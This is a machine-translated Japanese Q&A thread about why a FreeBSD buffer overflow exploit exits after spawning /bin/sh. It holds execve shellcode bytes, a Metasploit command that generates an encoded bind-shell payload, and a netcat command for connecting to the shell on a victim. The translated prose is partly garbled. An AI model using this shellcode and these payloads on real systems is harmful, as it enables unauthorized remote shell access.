2012-05-26 27 views
6

私はFreeBSDシステムでバッファオーバーフローを実験していました。 最初の実験として、悪用されたプログラムが別のプロセス(この場合は/ bin/hostname)を起動するようにしました。すべてうまくいって、プログラムはホスト名を表示して終了しました。 その後、プログラムがシェルを起動するようにしようとしました(つまり、/ bin/shを実行しています)。私は、呼び出すプログラムを表す文字列を単に交換することによってこれができると仮定しました。これを試すと、悪用されたプログラムは単に終了します.gdbによれば、新しいプロセス(/ bin/sh)が正常に生成されます。ただし、シェルは生成されません。 私は最初の悪用を試み、/ bin/shファイルを/ bin/hostnameに移動しましたが、それでも何も変わりません。 私の質問は今、他のコマンドから/ bin/shを実行することでどのように違うのでしょうか?参考のためバッファオーバーフロー - シェルの起動後にプログラムが終了する

は、私は以下のシェルコードを使用するシェルの産卵試みのために:

char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" 
"\x68\x2f\x62\x69\x6e\x89\xe3\x50" 
"\x54\x53\xb0\x3b\x50\xcd\x80"; 
+0

これは関連するかもしれません:http://forums.freebsd.org/showthread.php?t=10054 – zxcdw

+0

もっと情報が必要なようですので、あなたのコードをあなたのシェルコードソースを含めて投稿してください。 – rumpel

答えて

3

ほら、私はあなたが何を意味するか見たが、私はあなたが1つの基本的な間違いを作っていると信じています。あなたはそれを縛らないで対話型シェルを起動しています。

「ifconfig」コマンドを呼び出すようなものです。単一のコマンドを実行したい場合は、シェルコードは完璧ですが、インタラクティブシェルが必要な場合はshだけを実行することはできません。

shを実行するだけでシェルが実行されるため、シェルを対話的に制御することはできません。


ソリューション: が逆TCPシェルまたはバインド殻を作り、あなたの活用のためのペイロードとしてそれを使用するためにシェルコードジェネレータを使用してください。

これをMetasploitで実行しようとしている場合は、必要なコマンドの例を次に示します。

msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e x86/alpha_mixed -b '\x00' -t c 
  • Msfpayloadは、関数の名前です。窓/ shell_bind_tcp はlportは、リモートターゲットマシン は、シェルアクセス可能
  • R我々はその後、生の出力
  • のために、我々はそれをする必要があるためmsfencodeするパイプであるがありますするポートです
  • パスを悪用していますCコードを実行可能にし、それ は-eがサポートする符号化タイプおよびアーキテクチャを示し
  • そのアーキテクチャ用にコンパイルされなければならない、例えば勝利SP2のある
  • -bを使用すると、シェルで使用することはできませんバイトを表しますコード。例えば00は文字列バイトの末尾です
  • -tはCコードの出力タイプです。

もう少し調べてみると、あなたはそれを手に入れます。本質的には、静的コマンドを実行するのと比べて対話シェルを取得する方がずっと難しいです。

完了したら、netcatのようなプログラムを使用してシェルに接続して使用できます。

netcat.exe -nv <victim ip> <port where shell was bound to> 

これは適切な解決策でした。

関連する問題